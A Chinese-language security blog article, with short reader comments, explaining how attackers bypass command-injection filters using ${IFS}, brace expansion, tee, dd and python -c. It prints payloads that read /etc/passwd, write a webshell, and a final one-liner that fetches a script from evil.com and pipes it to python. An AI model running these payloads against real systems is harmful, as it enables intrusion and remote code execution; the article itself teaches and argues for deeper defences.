详解命令执行中的关键绕过技术:IFS与重定向

7 人参与

渗透测试中,一个看似不起眼的命令注入点,往往在安全工程师的巧妙构造下演变成一场灾难。当常规的“cat /etc/passwd”或“whoami”被安全设备无情拦截时,真正的对抗才刚刚开始。这其中,对命令解释器“语言”本身的精妙运用,尤其是对IFS(内部字段分隔符)和重定向符号的理解与篡改,构成了现代命令执行绕过的艺术核心。

当空格成为“违禁品”

几乎所有基于字符串匹配的WAF或过滤机制,都会将空格(0x20)作为命令与参数之间最显眼的分隔符来重点关照。一旦这个字符被列入黑名单,像cat /etc/passwd这样的基础指令便寸步难行。这时,攻击者的思路不是“硬闯”,而是“替换”——寻找shell环境中那些能履行分隔职能,却又不在过滤器黑名单上的“替身”。

IFS:那个被遗忘的“标点符号集”

${IFS}是最经典的绕过手段,没有之一。它不是一个命令,而是一个shell的环境变量,默认值就是空格、制表符和换行符。当你使用cat${IFS}/etc/passwd时,shell在解析阶段会先将变量${IFS}展开为实际的空白字符,然后再执行命令。对许多简单的正则过滤(如/s+/)来说,这串连在一起的字符根本不会被识别为空格。更有趣的玩法是直接修改变量值,比如IFS=,;cat,/etc/passwd,临时将逗号设为分隔符,让命令以另一种语法“蒙混过关”。

{cat,/etc/passwd}。花括号扩展在Shell中会原样保留内部字符,而逗号在这里意外地起到了参数分隔的作用。这招的隐蔽性在于,它看起来完全不像一条正常的命令。

重定向:不只是输入输出那么简单

如果说绕过空格是在和语法解析器玩文字游戏,那么对重定向符号(>, <, >>, |)的利用,则更像是在操纵数据流的“管道工”。这些符号一旦被禁用,写入文件、传递结果等操作将变得极其困难。

>被过滤时,攻击者会转向它的“同义词”——命令替换。例如,想写入一个Webshell,不再用echo '<?php ...' > shell.php,而是用echo '<?php ...' | tee shell.phptee命令既能将数据输出到屏幕,也能同时写入文件,完美绕过了对>的依赖。另一种思路是使用dd命令:echo 'PAYLOAD' | dd of=shell.phpdd of=这个参数组合起到了与重定向相同的效果。

管道符|的绕过则更具创造性。当它不能使用时,$()或反引号`` ` ``命令替换可以承担起传递前一个命令输出的责任。甚至可以利用某些编程语言解释器的特性,比如通过python -c "import os; os.system('whoami')",在Python的字符串环境里构造完整的命令,从而规避对Shell管道符的检查。

组合技:在夹缝中构建攻击链

真实的绕过很少只依赖单一技术。一个成熟的利用链,往往是多种技巧的缝合怪。试想这样一个场景:目标过滤了空格、>catbash等关键词。

攻击者可能会构造这样的Payload:

curl${IFS}http://evil.com/shell.txt|${IFS}python${IFS}-

这条命令做了几件事:用${IFS}绕过空格;用curl下载远程的Python脚本(shell.txt内容);利用管道将脚本内容传递给python -(从标准输入读取并执行)。整个过程没有使用任何被明确禁止的“危险字符”,却成功实现了远程代码下载与执行。

安全防护与攻击绕过的博弈,本质上是双方对同一套系统规则理解深度的较量。攻击者钻研IFS和重定向,并非为了炫技,而是因为他们深刻地理解,Shell不仅仅是一个执行命令的黑框,它是一套拥有完整语法、变量和流程控制的语言体系。防御者若只停留在关键词黑名单的层面,就如同只检查词汇却不懂语法,注定会被那些精通“语言”的人找到漏洞。真正的防御,需要同样深入到语义层,理解命令在上下文中的真实意图,而这,正是下一代应用安全防护的难点与起点。

参与讨论

7 条评论
  • 蜡笔小画家

    这个${IFS}的用法确实实用

    回复
  • 月影秘钥

    之前遇到过空格被过滤的情况,折腾了半天

    回复
  • 黑焰执政官

    重定向还能这样绕过?学到了

    回复
  • Chloe梦

    管道符被禁时用python确实是个思路

    回复
  • RuneboundWarden

    感觉这些方法在实战中不一定好用

    回复
  • 天蓝梦境

    有没有更简单的绕过方式?

    回复
  • 妖梦回

    试过用tee命令,效果不错

    回复